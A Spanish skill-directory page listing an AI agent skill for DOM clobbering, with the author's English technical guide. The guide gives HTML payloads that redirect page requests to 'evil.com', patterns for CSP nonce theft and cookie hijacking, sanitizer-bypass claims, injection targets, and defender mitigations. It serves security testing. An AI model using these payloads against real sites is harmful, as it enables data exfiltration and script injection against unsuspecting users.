Saltar al contenido
Skillpedia
Seguridad6,5 mil · #14061

dom-clobbering

Qué hace

Esta habilidad explica cómo los elementos HTML con nombre pueden sobrescribir variables de la página en JavaScript. Está pensada para probadores de seguridad que comprueban si el HTML filtrado todavía puede cambiar el funcionamiento de una página.

Cuándo usarla

  • ✓Cuando un sitio permite que los usuarios añadan HTML que se filtra, pero que todavía puede incluir elementos con nombre.
  • ✓Cuando una revisión de seguridad pregunta si los scripts de la página leen ajustes globales que el HTML podría sobrescribir.
  • ✓Cuando quieres comprobar si una política de seguridad de contenido puede saltarse mediante HTML.

Link de la skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“¿Puedes comprobar si el filtro de HTML de mi sección de comentarios todavía permite que los usuarios cambien los ajustes de JavaScript de mi página?”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

El agente comprueba si un elemento con un nombre o un id elegido puede reemplazar un valor que lee la página, como un objeto de configuración, sin usar etiquetas de script.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

DOM Clobbering

Named HTML elements (<form>, <a>, <input>, <img>) with name= or id= are accessible as JavaScript properties of window and document. If app code does if (window.config.endpoint) and attacker can inject HTML (even sanitized), they can replace window.config with an HTML element.

1. The classic

<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
    fetch(window.config.endpoint + '/data');
}
</script>

<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>

window.config resolves to the form. window.config.endpoint resolves to the input. .endpoint is now "//evil.com". App fetches from evil.

2. Common targets

  • window.location overwrite (anchor w/ id=location)
  • Library global config (jQuery's $.cookie, etc)
  • CSP nonce/source values read from globals
  • document.cookie (limited but exploitable)
  • window.onerror clobber

3. Payload patterns

Single-element clobber

<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->

Multi-level clobber (a.b.c)

<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->

<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->

CSP nonce theft

<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->

Cookie attribute hijack

<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->

4. Where to inject

DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets:

  • CMS rich-text content
  • Markdown renderers (especially raw HTML-allowed)
  • Comment systems
  • Profile fields rendered into the page

5. Detection

// In browser console on a target page, list all "named" elements that exist:
Array.from(document.getElementsByTagName('*'))
  .filter(e => e.name || e.id)
  .map(e => [e.tagName, e.name || e.id]);

// Then check which of these names also exist as window properties used by app JS
// (grep app JS bundle for `window.<name>` references)

6. PoC

Find an HTML-injection sink (not strict XSS) that passes sanitizer because no JS. Inject the form clobber. Confirm via observed network request to //evil.com (DNS-level via interactsh).

7. Severity

Bug Severity
Clobber → CSP bypass enabling stored XSS Critical 9.0
Clobber of endpoint → exfil PII High 8.0
Clobber of OAuth flow config Critical 9.0
Standalone clobber w/o exploitable chain Low-Medium

8. Defender

  • Sanitizers should strip id= and name= from user content (DOMPurify has ALLOW_DATA_ATTR: false + FORBID_ATTR: ['id', 'name'] config)
  • Use Object.defineProperty(window, 'config', {value: cfg, writable: false}) for security-critical globals
  • Use scoped namespaces instead of window globals
  • CSP script-src w/ hashes (not just nonces) — DOM clobbering can't fake the hash

Cross-references

  • Upstream: skills/_corpus/payloads/DOM Clobbering/
  • XSS overlap: skills/exploit/web/xss.md
  • CSS injection (similar tactical mindset): skills/exploit/web/css-injection/SKILL.md (when added)

Known exemplars

  • Gareth Heyes / PortSwigger 2020 paper "DOM Clobbering for fun and profit"
  • Bypass of Google's Closure templating system
  • Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains
Preguntas frecuentes

¿Por qué importa si los scripts están bloqueados?

La habilidad indica que los elementos con nombre, sin scripts, todavía pueden cambiar lo que lee la página, lo que puede llevar a peticiones incorrectas.

¿Qué objetivos menciona?

Menciona objetivos como window.location, los ajustes de bibliotecas, los valores de CSP leídos de variables globales y el manejo de cookies.

¿El ataque necesita una inyección completa de scripts?

No. La habilidad trata de elementos HTML con nombre que funcionan sin etiquetas de script.

Detalles

Descripción original del autor

DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.

repo: BitterSecurity/Decepticon

Popularidad

Estrellas en GitHub
6,5 mil
Posición en el ranking
#14061
Licencia
Apache-2.0
Actualizada
1/11/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas